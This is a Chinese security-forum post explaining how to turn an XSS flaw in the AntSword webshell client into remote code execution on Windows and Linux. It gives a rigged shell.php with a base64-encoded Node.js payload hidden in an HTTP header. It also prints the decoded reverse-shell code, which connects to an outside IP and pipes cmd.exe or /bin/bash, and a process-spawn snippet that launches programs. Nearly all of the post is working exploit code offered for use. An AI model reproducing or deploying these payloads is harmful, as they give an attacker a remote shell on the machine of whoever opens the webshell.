无需下载直接反弹shell-蚁剑XSS/RCE之window/linux环境

2019-04-12 23:50:43 34 14636 2

今天爆出蚁剑的XSS到RCE,但是公布的是perl的利用方式,分享一个windows下直接反弹的姿势。

使用AntSword要么主机安装有nodejs环境,要么使用官方提供的解析器,所以都是支持nodjs,因此可以基于nodejs直接在windows/linux环境反弹shell. PS:其实能执行CMD,通过powershell,bitsadmin,certutil等下载程序并执行,只是都比较麻烦而已,针对该类型XSS到RCE,直接利用nodejs可能是最简捷的反弹方式了吧!(欢迎有更好利用方式的大佬交流打脸)

1.修改shell.php代码如下(base64解码修改为自己的服务ip和端口,然后重新base64编码即可,切记不要进行url编码)

<?php
header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg4MDgwLCAiMTIzLjEyMy4xMjMuMTIzIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>");
?>

其中windows环境下直接反弹shell对应base64编码的部分源码为:

var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(8080, "receiving-IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

本人在win10机器上,采用官方提供的windows版加载器,没有其他任何特殊配置,请求后成功执行反弹shell,截图如下

同理可以WINDOWS下直接执行CMD命令或者在Linux下利用nodejs反弹shell。 如果windows环境下执行CMD对应base64编码的部分源码为:

var Process = window.parent.top.process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function (a, b) {};
var env = window.parent.top.process.env;
var env_ = [];
for (var key in env) env_.push(key + '=' + env[key]);
proc.spawn({
    file: 'cmd.exe',
    args: ['/k calc'],
    cwd: null,
    windowsVerbatimArguments: false,
    detached: false,
    envPairs: env_,
    stdio: [{
        type: 'ignore'
    }, {
        type: 'ignore'
    }, {
        type: 'ignore'
    }]
});

此外,linux环境下对应base64编码的部分源码为:

var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(8080, "receiving-IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

关于作者

blackwolf25篇文章252篇回复

评论34次

要评论?请先  登录  或  注册